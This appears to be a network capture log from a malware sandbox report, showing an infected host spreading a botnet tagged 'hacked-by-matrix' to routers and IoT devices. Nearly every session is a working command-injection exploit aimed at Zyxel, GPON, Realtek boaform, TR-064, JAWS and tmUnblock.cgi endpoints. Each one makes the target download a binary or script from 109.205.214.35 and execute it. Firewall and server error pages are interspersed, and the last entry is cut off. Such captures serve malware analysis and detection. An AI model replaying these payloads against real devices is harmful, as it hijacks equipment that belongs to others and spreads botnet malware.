64 69 76 23 77 72 61 70 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 30 70 78 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 78 22 3e 3c 70 20 63 6c 61 73 73 3d 22 72 65 64 22 3e 52 65 71 75 65 73 74 20 64 65 6e 69 65 64 20 62 79 20 57 61 74 63 68 47 75 61 72 64 20 46 69 72 65 77 61 6c 6c 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 20 52 65 61 73 6f 6e 3a 20 3c 2f 62 3e 20 49 50 53 20 64 65 74 65 63 74 65 64 20 66 6f 72 20 22 57 45 42 20 5a 79 78 65 6c 20 50 36 36 30 48 4e 2d 54 20 76 31 20 52 6f 75 74 65 72 20 55 6e 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 52 65 6d 6f 74 65 20 43 6f 6d 6d 61 6e 64 20 45 78 65 63 75 74 69 6f 6e 20 28 43 56 45 2d 32 30 31 37 2d 31 38 33 36 38 29 2f 57 65 62 20 74 68 72 65 61 74 73 22 20 3c 2f 70 3e 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 66 6f 72 20 61 73 73 69 73 74 61 6e 63 65 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 57 61 74 63 68 47 75 61 72 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><title>Request Denied</title><style type="text/css">body {font-family: Arial, Helvetica, Verdana, Sans-Serif;font-size: small;font-weight: normal;color: #000000;}div {margin-left: auto;margin-right: auto;text-align: center;}.box {width: 600px;background-color: #F2F2F2;border-left: solid 1px #C2C2C2;border-right: solid 1px #C2C2C2;vertical-align: middle;padding: 20px 10px 20px 10px;}p {text-align: left;}.red {font-weight: bold;color: Red;text-align: center;}.band {height: 20px;color: White;background: #333333;width: 600px;border-left: solid 1px #333333;border-right: solid 1px #333333;padding: 3px 10px 0px 10px;}div#wrap {margin-top: 50px;}</style></head><body><div id="wrap"><div class="band"></div><div class="box"><p class="red">Request denied by WatchGuard Firewall.</p><p><b> Reason: </b> IPS detected for "WEB Zyxel P660HN-T v1 Router Unauthenticated Remote Command Execution (CVE-2017-18368)/Web threats" </p><p>Please contact your administrator for assistance.</p></div><div class="band">WatchGuard Technologies Inc.</div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.13	47944	181.224.41.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.739037991 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.779822111 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.002933025 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.203960896 CET	806	IN	HTTP/1.1 400 Bad Request Server: Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self'; referrer 'origin-when-cross-origin'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.13	44802	178.23.228.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.745280981 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.960329056 CET	456	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 07:18:24 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close WWW-Authenticate: Digest realm="N2Mv2", nonce="VGh1IE1hciAyMSAwNzoxODoyNCAyMDI0" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.13	42082	178.208.16.70	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.769412041 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.13	51590	206.119.81.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.841063976 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.156260967 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Mar 21, 2024 05:18:25.799722910 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.13	45998	37.162.249.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.862186909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.13	36712	112.185.246.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:25.322406054 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.13	40842	23.0.29.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:25.717868090 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:26.229022980 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:26.338579893 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:26 GMT Date: Thu, 21 Mar 2024 04:18:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 64 30 36 62 64 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 30 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.d06bdc17.1710994706.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.13	44768	67.205.13.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:25.718311071 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:26.050390959 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:26.155651093 CET	392	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:26 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.13	34038	172.65.98.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:26.993851900 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.13	52776	172.66.152.189	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:26.993942976 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:27.475816011 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.13	58184	172.67.19.87	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:26.993989944 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:27.475816011 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.13	43310	178.20.34.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.424843073 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 